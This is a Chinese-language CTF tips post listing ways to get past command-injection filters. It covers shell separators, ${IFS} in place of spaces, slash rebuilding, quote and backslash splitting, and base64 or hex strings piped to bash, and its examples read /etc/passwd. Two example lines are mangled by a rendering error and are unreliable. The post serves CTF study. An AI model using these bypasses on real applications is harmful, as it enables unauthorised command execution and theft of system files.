[CTF技巧]命令注入绕过总结
命令分隔符cat /etc/passwd;ls分号;cmd1;cmd2(多条语句顺序执行)cat /etc/passwd && lsand&&cmd1&&cmd2与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2cat etc || lsor||cmd1 || cmd2cmd1执行失败则执行cmd2,若cmd1执行成功则不执行cmd2管
命令分隔符
cat /etc/passwd;ls
分号 ;
cmd1;cmd2(多条语句顺序执行)
cat /etc/passwd && ls
and &&
cmd1&&cmd2 与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2
cat etc || ls
or ||
cmd1 || cmd2 cmd1执行失败则执行cmd2,若cmd1执行成功则不执行cmd2
管道符 |
| 管道符
管道符”|“左边的命令的输出会作为管道符”|“右边命令的输入
%0a、%0d
linux:
%0a 回车
%0d 换行
windows:
%0a 回车
%1a 作为.bat文件的命令分隔符
过滤空格绕过
使用<代替空格
cat /etc/passwd ---->>> cat</etc/passwd
使用${IFS}代替空格
cat /etc/passwd ---->>> cat${IFS}/etc/passwd
使用$IFS代替空格
cat /etc/passwd ---->>> cat$IFS/etc/passwd
过滤斜杠/绕过
使用${HOME:0:1}代替/
cat /etc/passwd ---->>> cat H O M E : 0 : 1 e t c {HOME:0:1}etc HOME:0:1etc{HOME:0:1}passwd
使用echo . | tr ‘!-0’ ‘"-1’ 代替/
cat /etc/passwd ---->>> cat KaTeX parse error: Double superscript at position 20: …o . | tr '!-0' '̲"-1')etc(echo . | tr ‘!-0’ ‘"-1’)passwd
注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行
黑名单绕过
拼接绕过
a=nc1;b=.py;cat a a ab
单引号‘和双引号“绕过
cat n’c’1.py
cat n“c”1.py
反斜杠\绕过
cat n\c\1.py
利用Shell 特殊变量绕过
变量 | 含义 |
---|---|
$0 | 当前脚本的文件名 |
$n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。 |
$# | 传递给脚本或函数的参数个数 |
$* | 传递给脚本或函数的所有参数,而参数不存在时其值为空。 |
$@ | 传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同 |
$? | 上个命令的推出状态,或函数的返回值 |
$$ | 当前shell进程ID |
注意:当上述变量的值为空时,使用变量穿插在黑名单字符中即可绕过黑名单限制
编码绕过
核心:利用管道符”|“将左边命令的输入作为右边命令的输出
base64编码绕过
注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行
echo “Y2F0IG5jMS5weQ==”|base64 -d|bash
echo Y2F0IG5jMS5weQ== | base64 -d
$(echo Y2F0IG5jMS5weQ== | base64 -d)
执行顺序:输出base64编码内容------>base64解码其编码内容------>执行bash命令
16进制编码绕过
echo “636174206E63312E7079”|xxd -r -p|bash
通配符绕过
字符 | 含义 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)